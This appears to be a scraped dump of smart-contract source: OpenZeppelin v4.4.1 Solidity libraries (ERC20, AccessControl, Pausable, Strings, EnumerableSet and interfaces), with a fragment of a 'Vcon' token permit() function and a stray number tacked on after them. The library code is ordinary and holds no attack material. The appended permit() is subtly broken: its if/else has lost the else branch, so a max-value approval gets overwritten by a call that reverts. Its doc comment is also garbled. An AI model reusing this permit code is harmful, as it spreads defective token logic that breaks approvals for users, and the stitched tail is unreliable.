{IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlEnumerable.sol"; import "./AccessControl.sol"; import "../utils/structs/EnumerableSet.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable is IAccessControl { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } }
Triggers an approval from owner to spends owner The address to approve from spender The address to be approved rawAmount The number of tokens that are approved (2^256-1 means infinite) deadline The time at which to expire the signature v The recovery byte of the signature r Half of the ECDSA signature pair s Half of the ECDSA signature pair/
function permit( address owner, address spender, uint256 rawAmount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { uint96 amount; if (rawAmount == type(uint256).max) { amount = type(uint96).max; amount = safe96(rawAmount, "Vcon: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline ) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Vcon: invalid signature"); require(signatory == owner, "Vcon: unauthorized"); require(block.timestamp <= deadline, "Vcon: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
10,389,965
